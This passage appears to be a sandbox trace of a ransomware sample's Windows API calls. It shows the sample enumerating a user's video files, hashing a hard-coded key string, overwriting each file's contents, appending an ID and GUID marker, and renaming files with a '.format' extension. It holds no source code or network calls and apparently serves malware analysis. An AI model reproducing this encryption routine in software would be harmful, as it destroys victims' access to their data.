ftLastWriteTime.dwHighDateTime=0x1d4d4da, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.914] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2af495d0, ftCreationTime.dwHighDateTime=0x1d4cb88, ftLastAccessTime.dwLowDateTime=0xad979ae0, ftLastAccessTime.dwHighDateTime=0x1d4d4da, ftLastWriteTime.dwLowDateTime=0xad979ae0, ftLastWriteTime.dwHighDateTime=0x1d4d4da, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.914] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bd20d70, ftCreationTime.dwHighDateTime=0x1d4cf1e, ftLastAccessTime.dwLowDateTime=0x5770a1f0, ftLastAccessTime.dwHighDateTime=0x1d4ceec, ftLastWriteTime.dwLowDateTime=0x5770a1f0, ftLastWriteTime.dwHighDateTime=0x1d4ceec, nFileSizeHigh=0x0, nFileSizeLow=0xac8f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="857-pQdYn.swf", cAlternateFileName="857-PQ~1.SWF")) returned 1 [0069.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x136) returned 0x3152000 [0069.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.914] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\1lVVKbf-aOgvA-CAW_mM\\857-pQdYn.swf") returned=".swf" [0069.914] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\1lVVKbf-aOgvA-CAW_mM\\857-pQdYn.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\1lvvkbf-aogva-caw_mm\\857-pqdyn.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.914] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=44175) returned 1 [0069.914] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.917] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xac69, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.917] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.918] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.918] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xac8f, lpOverlapped=0x0) returned 1 [0069.918] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.918] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.918] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.918] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.918] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.919] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.919] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.919] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.919] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.919] GetLastError () returned 0x0 [0069.919] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.919] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.919] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xac90) returned 0x32b2f40 [0069.919] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.919] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.919] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xac8a, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xac8a, lpOverlapped=0x0) returned 1 [0069.920] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0069.920] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xac8f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0069.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0069.920] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.920] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.920] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.920] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0069.920] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.920] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.920] CloseHandle (hObject=0x5c8) returned 1 [0069.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328ccb8 [0069.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8f0) returned 0x3178dd8 [0069.920] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328ccb8 | out: hHeap=0x5d0000) returned 1 [0069.920] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\1lVVKbf-aOgvA-CAW_mM\\857-pQdYn.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\1lvvkbf-aogva-caw_mm\\857-pqdyn.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\1lVVKbf-aOgvA-CAW_mM\\857-pQdYn.swf.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\1lvvkbf-aogva-caw_mm\\857-pqdyn.swf.format")) returned 1 [0069.921] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.921] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.922] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.922] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98a63c0, ftCreationTime.dwHighDateTime=0x1d4cb00, ftLastAccessTime.dwLowDateTime=0x2c2292a0, ftLastAccessTime.dwHighDateTime=0x1d4d398, ftLastWriteTime.dwLowDateTime=0x2c2292a0, ftLastWriteTime.dwHighDateTime=0x1d4d398, nFileSizeHigh=0x0, nFileSizeLow=0x2207, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zF1DR1kS3V.mp4", cAlternateFileName="ZF1DR1~1.MP4")) returned 1 [0069.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x136) returned 0x3152000 [0069.922] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.922] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\1lVVKbf-aOgvA-CAW_mM\\zF1DR1kS3V.mp4") returned=".mp4" [0069.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\1lVVKbf-aOgvA-CAW_mM\\zF1DR1kS3V.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\1lvvkbf-aogva-caw_mm\\zf1dr1ks3v.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.923] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=8711) returned 1 [0069.923] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.925] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x21e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.925] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.926] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.926] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x2207, lpOverlapped=0x0) returned 1 [0069.926] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.926] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.926] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.926] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.926] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.927] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.927] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.927] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.927] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.927] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.927] GetLastError () returned 0x0 [0069.927] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.927] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.927] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.927] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2210) returned 0x329f158 [0069.927] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.927] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.927] WriteFile (in: hFile=0x5c8, lpBuffer=0x329f158*, nNumberOfBytesToWrite=0x2202, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x329f158*, lpNumberOfBytesWritten=0x38cfb24*=0x2202, lpOverlapped=0x0) returned 1 [0069.928] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329f158 | out: hHeap=0x5d0000) returned 1 [0069.928] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2207, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.928] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.928] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0069.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.928] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0069.928] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.928] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.928] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.928] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0069.928] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.928] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.928] CloseHandle (hObject=0x5c8) returned 1 [0069.928] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328ccb8 [0069.928] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8f0) returned 0x3178dd8 [0069.928] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328ccb8 | out: hHeap=0x5d0000) returned 1 [0069.928] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\1lVVKbf-aOgvA-CAW_mM\\zF1DR1kS3V.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\1lvvkbf-aogva-caw_mm\\zf1dr1ks3v.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\1lVVKbf-aOgvA-CAW_mM\\zF1DR1kS3V.mp4.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\od8tz2pmykkyrq-rjt2t\\1lvvkbf-aogva-caw_mm\\zf1dr1ks3v.mp4.format")) returned 1 [0069.929] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.929] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.930] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98a63c0, ftCreationTime.dwHighDateTime=0x1d4cb00, ftLastAccessTime.dwLowDateTime=0x2c2292a0, ftLastAccessTime.dwHighDateTime=0x1d4d398, ftLastWriteTime.dwLowDateTime=0x2c2292a0, ftLastWriteTime.dwHighDateTime=0x1d4d398, nFileSizeHigh=0x0, nFileSizeLow=0x2207, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zF1DR1kS3V.mp4", cAlternateFileName="ZF1DR1~1.MP4")) returned 0 [0069.930] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3146a70 | out: hHeap=0x5d0000) returned 1 [0069.930] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2bf0 | out: hHeap=0x5d0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283d50 | out: hHeap=0x5d0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283c98 | out: hHeap=0x5d0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283ec0 | out: hHeap=0x5d0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283e08 | out: hHeap=0x5d0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abf90 | out: hHeap=0x5d0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2d20 | out: hHeap=0x5d0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2ac0 | out: hHeap=0x5d0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a89d0 | out: hHeap=0x5d0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283900 | out: hHeap=0x5d0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8aa8 | out: hHeap=0x5d0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30fb448 | out: hHeap=0x5d0000) returned 1 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0069.931] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.931] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.931] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.931] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.931] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.931] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.931] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.931] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.931] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.931] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.931] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.931] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.931] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x32543a8 [0069.932] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\") returned="Search\\" [0069.932] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2ac0 [0069.932] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0069.932] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0069.932] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0069.932] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.932] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.932] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.932] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.932] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.932] PathFindFileNameW (pszPath="") returned="" [0069.932] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.933] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 